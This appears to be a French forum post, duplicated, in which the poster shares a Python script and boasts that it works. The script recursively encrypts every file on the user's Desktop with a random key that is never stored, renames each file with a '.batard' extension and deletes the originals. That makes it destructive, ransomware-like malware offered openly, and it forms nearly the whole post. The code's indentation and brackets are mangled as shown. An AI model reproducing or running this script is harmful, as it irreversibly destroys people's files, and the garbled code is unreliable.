Sayais, j'ai testé et ca marche nickel :
import os
# Installation du module cryptography
try:
import cryptography
except ImportError:
import subprocess
subprocess.check_call(["pip", "install", "cryptography"])
import cryptography
from cryptography.fernet import Fernet
# Génération de la clé de chiffrement
def generate_key():
return Fernet.generate_key()
# Chiffrement des données
def encrypt_data(data, key):
cipher = Fernet(key)
return cipher.encrypt(data)
# Chiffrement des fichiers du bureau
def encrypt_desktop_files():
desktop_path = os.path.expanduser("~/Desktop")
key = generate_key()
for root, directories, files in os.walk(desktop_path):
for file in files:
file_path = os.path.join(root, file)
encrypt_file(file_path, key)
# Chiffrement d'un fichier
def encrypt_file(file_path, key):
try:
with open(file_path, 'rb'
as file:
data = file.read()
encrypted_data = encrypt_data(data, key)
# Obtention du nouveau chemin avec l'extension ".batard"
encrypted_file_path = os.path.splitext(file_path)[0] + ".batard"
with open(encrypted_file_path, 'wb'
as file:
file.write(encrypted_data)
# Suppression du fichier d'origine
os.remove(file_path)
print("Fichier crypté avec succès :", encrypted_file_path)
except Exception as e:
print("Erreur lors du cryptage du fichier :", file_path)
print("Erreur :", str(e))
encrypt_desktop_files()
Une fois executé, il crypte les fichiers dans le bureau en remplacant l'extension par .BATARD !!!
Putain j'me sens hackeur aujourd'hui
import os
# Installation du module cryptography
try:
import cryptography
except ImportError:
import subprocess
subprocess.check_call(["pip", "install", "cryptography"])
import cryptography
from cryptography.fernet import Fernet
# Génération de la clé de chiffrement
def generate_key():
return Fernet.generate_key()
# Chiffrement des données
def encrypt_data(data, key):
cipher = Fernet(key)
return cipher.encrypt(data)
# Chiffrement des fichiers du bureau
def encrypt_desktop_files():
desktop_path = os.path.expanduser("~/Desktop")
key = generate_key()
for root, directories, files in os.walk(desktop_path):
for file in files:
file_path = os.path.join(root, file)
encrypt_file(file_path, key)
# Chiffrement d'un fichier
def encrypt_file(file_path, key):
try:
with open(file_path, 'rb'
as file:data = file.read()
encrypted_data = encrypt_data(data, key)
# Obtention du nouveau chemin avec l'extension ".batard"
encrypted_file_path = os.path.splitext(file_path)[0] + ".batard"
with open(encrypted_file_path, 'wb'
as file:file.write(encrypted_data)
# Suppression du fichier d'origine
os.remove(file_path)
print("Fichier crypté avec succès :", encrypted_file_path)
except Exception as e:
print("Erreur lors du cryptage du fichier :", file_path)
print("Erreur :", str(e))
encrypt_desktop_files()
Une fois executé, il crypte les fichiers dans le bureau en remplacant l'extension par .BATARD !!!
Putain j'me sens hackeur aujourd'hui